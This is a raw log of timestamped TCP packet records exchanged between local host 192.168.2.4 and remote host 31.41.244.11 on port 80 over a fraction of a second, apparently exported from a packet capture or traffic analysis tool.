Nov 24, 2024 12:24:17.382704020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.382745981 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.382901907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.382941008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.383537054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.383575916 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.383699894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.383735895 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.384368896 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.384413958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.384685040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.384726048 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.385238886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.385277987 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.385344028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.385381937 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.386724949 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.386735916 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.386764050 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.386785030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.386909962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.386960030 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.386980057 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.387115002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.387861967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.387914896 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.387984037 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.388029099 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.388730049 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.388768911 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.388825893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.388864040 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.391318083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.391369104 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.391717911 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.391727924 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.391737938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.391747952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.391758919 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.391765118 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.391784906 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.391814947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.391891003 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.391930103 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.392246008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.392282963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.392810106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.392847061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.392986059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.393027067 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.393701077 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.393744946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.394052982 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.394094944 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.394469976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.394506931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.394529104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.394568920 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.395529985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.395572901 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.395715952 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.395757914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.396428108 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.396464109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.396604061 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.396639109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.397316933 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.397357941 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.397382975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.397425890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.398221016 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.398233891 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.398271084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.398271084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.398850918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.398885965 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.399032116 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.399069071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.399589062 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.399601936 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.399633884 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.399641991 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.400316000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.400372028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.400427103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.400468111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.401276112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.401288033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.401319027 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.401331902 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.402102947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.402142048 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.402287006 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.402334929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.402949095 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.402993917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.403140068 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.403187037 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.403762102 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.403805971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.403851032 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.403891087 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.404544115 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.404589891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.404685020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.404727936 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.405473948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.405510902 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.405666113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.405705929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.406182051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.406219959 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.406362057 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.406402111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.406972885 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.407012939 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.407035112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.407078981 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.408058882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.408070087 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.408102036 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.408119917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.408935070 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.408983946 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.409122944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.409148932 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.409672976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.409707069 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.409723997 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.409759045 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.410283089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.410322905 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.410547972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.410582066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.411277056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.411318064 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.411458015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.411493063 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.412190914 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.412201881 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.412233114 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.412241936 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.412806988 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.412848949 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.413017988 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.413100958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.413721085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.413758039 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.414016008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.414053917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.414722919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.414733887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.414757967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.414772987 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.415532112 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.415543079 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.415586948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.415601969 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.416141033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.416179895 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.416327000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.416367054 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.417069912 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.417105913 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.417241096 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.417274952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.417931080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.417969942 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.418140888 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.418176889 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.418869972 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.418881893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.418915033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.418931007 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.419598103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.419641972 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.419660091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.419693947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.420465946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.420516968 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.420650005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.420687914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.421226978 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.421237946 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.421263933 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.421274900 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.422482967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.422533989 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.422676086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.422713041 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.581371069 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.581404924 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.581415892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.581438065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.581449986 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.581465960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.581496000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.581577063 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.581624031 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.582480907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.582525969 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.582658052 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.582727909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.583324909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.583369017 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.583507061 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.583550930 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.584202051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.584211111 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.584244967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.584254026 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.584992886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.585042953 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.585180044 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.585226059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.585911036 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.585957050 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.586096048 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.586134911 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.586793900 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.586838961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.586991072 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.587034941 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.587526083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.587553024 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.587568045 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.587587118 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.588259935 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.588303089 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.588454962 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.588499069 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.589148998 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.589190960 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.589335918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.589378119 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.589905977 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.589951038 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.590085983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.590121984 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.590802908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.590847969 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.590981007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.591058969 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.591717958 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.591758966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.591898918 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.591943026 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.592609882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.592622042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.592658997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.592665911 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.593215942 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.593262911 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.593389988 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.593436956 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.594109058 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.594152927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.594286919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.594333887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.594961882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.595007896 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.595146894 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.595191956 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.595698118 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.595746040 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.595900059 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.595942974 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.596502066 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.596549988 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.596645117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.596688032 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.597697020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.597740889 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.597760916 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.597803116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.598426104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.598467112 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.598588943 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.598630905 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.599081039 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.599123955 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.599268913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.599309921 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.600058079 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.600097895 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.600239992 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.600279093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.600768089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.600819111 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.601097107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.601161957 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.601641893 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.601684093 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.601810932 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.601851940 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.602448940 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.602494001 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.602639914 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.602683067 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.603465080 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.603477955 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.603507042 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.603517056 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.604182005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.604222059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.604365110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.604410887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.605024099 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.605062008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.605197906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.605237961 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.605827093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.605837107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.605870008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.605878115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.606672049 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.606714964 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.606844902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.606883049 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.607441902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.607489109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.607582092 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.607624054 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.608222961 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.608266115 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.608550072 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.608598948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.609116077 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.609158993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.609251022 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.609288931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.610040903 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.610083103 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.610230923 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.610272884 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.610815048 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.610857010 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.610992908 CET	80	49765	31.41.244.11	192.168.2.4
Nov 24, 2024 12:24:17.611037970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 24, 2024 12:24:17.611804008 CET	80	49765	31.41.244.11	192.168.2.4
